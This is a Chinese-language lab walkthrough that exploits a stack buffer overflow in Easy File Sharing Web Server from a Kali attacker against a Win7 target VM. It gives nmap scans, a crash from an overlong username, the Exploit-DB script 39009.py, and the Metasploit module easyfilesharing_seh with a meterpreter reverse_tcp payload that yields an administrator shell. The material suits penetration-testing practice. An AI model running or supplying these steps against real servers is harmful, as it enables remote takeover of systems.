Easy File Sharing Web Server 漏洞的简单利用
Easy File Sharing Web Server 漏洞的简单利用
背景
- EFS Easy File Sharing (EFS) Web Server是荷兰EFS Software公司的一套集论坛网站,文件上传、下载、共享和图片共享等功能的文件共享软件。
- EFS EFS Web Server 7.2版本中存在基于栈的缓冲区溢出漏洞。远程攻击者可通过向forum.ghp文件发送恶意的登录请求利用该漏洞执行任意代码。
- Easy File Sharing Web Server在处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞获取敏感信息。Easy File Sharing Web Server在上传文件时没有正确地过滤某些参数,允许用户通过目录遍历攻击向任意父目录上传文件。
- 由于Easy File Sharing Web Server 6.9这个程序对输入的用户名长度不进行校验,存在缓冲区溢出漏洞,导致当用户输入太长的用户名导致缓冲区溢出,覆盖程序原本的返回地址,导致程序因跳转到非法地址奔溃或跳转到黑客控制的恶意代码地址进而导致服务器被黑客控制。
复现环境
kali攻击机,win7靶机,两者以nat模式连接在同一主机下
服务程序:Easy File Sharing Web Server 2018
服务端口: 80
漏洞利用过程
1.查看Win7靶机的ip
2.win7靶机安装easy file sharing server
一路默认安装即可,安装成功后点try it
打开后注意服务端口为80端口
3.kali对靶机进行扫描
1 | nmap 目标靶机ip地址/24 |
发现靶机开放80端口
继续使用-sV
进一步扫描80端口
1 | nmap -sV 目标靶机ip地址 |
发现其开放Easy File Sharing Web Server httpd 6.9
,这个版本存在缓冲区溢出漏洞
4.漏洞利用
1.利用手动注入使缓冲区溢出
在kali自带浏览器访问靶机ip地址80端口
1 | 目标靶机ip地址:80 (使用英文符号以及无空格) |
进入了 Easy File Sharing Web Server的登入页
该登陆页面username存在溢出漏洞
也就是当我们在Username中输入过长的用户名时,该服务程序会发生缓冲区溢出
经测试当输入5000个字符时,会发生该漏洞
这里我用python生成5000个‘1’
:
将其复制到username,不用输入密码,点击登录即可
发现网页无响应
打开靶机发现,该程序已崩溃,这是因为输入的字符覆盖了程序原本的返回地址,导致程序转入非法地址崩溃。
如果将这些字符改为攻击脚本,让返回的地址为我们的攻击木马,可以进一步利用漏洞。
2利用kali自带脚本攻击
在靶机上重启服务程序,在kali输入:
1 | searchsploit easy file sharing |
这一行命令的功能是:在kali自带的漏洞利用脚本库中寻找easy file sharing的漏洞利用脚本
这里使用39009.py,其他攻击脚本同样奏效。
1 | Easy File Sharing Web Server 7.2 - HEAD Request Buffer Overflow (SEH) |
这个脚本是专门攻击Easy File Sharing Web Server httpd 7.2 版本的
但是其对Easy File Sharing Web Server httpd 6.9版本同样有效,并且它的执行效果是让服务器弹计算机并崩溃
脚本命令如下:
1 | python /usr/share/exploitdb/exploits/windows/remote/39009.py 目标靶机ip地址 80 |
打开靶机,发现计算器弹出,并且程序崩溃
这个主要是利用溢出漏洞攻击目标并让其服务崩溃和让主机运行计算器,主要是演练了一下渗透的过程。
3利用metasploit进行漏洞利用
在终端输入
1 | msfconsole |
msf启动完成后输入,找到EasyFileSharing的漏洞利用模块
1 | search EasyFileSharing |
选择 2015年的这个利用模块,输入:
1 | use exploit/windows/http/easyfilesharing_seh |
因为目标靶机还没设置,所以msf会报错No payload configured, defaulting to windows/meterpreter/reverse_tcp
接下来进行配置
1 | show options |
配值目标靶机地址:
1 | set RHOSTS 目标靶机的ip地址 |
然后执行攻击模块输入:
1 | exploit |
模块执行成功,可以输入自己想输入的命令
也可以查看自己目前的权限
1 | shell |
发现已经拿到管理员权限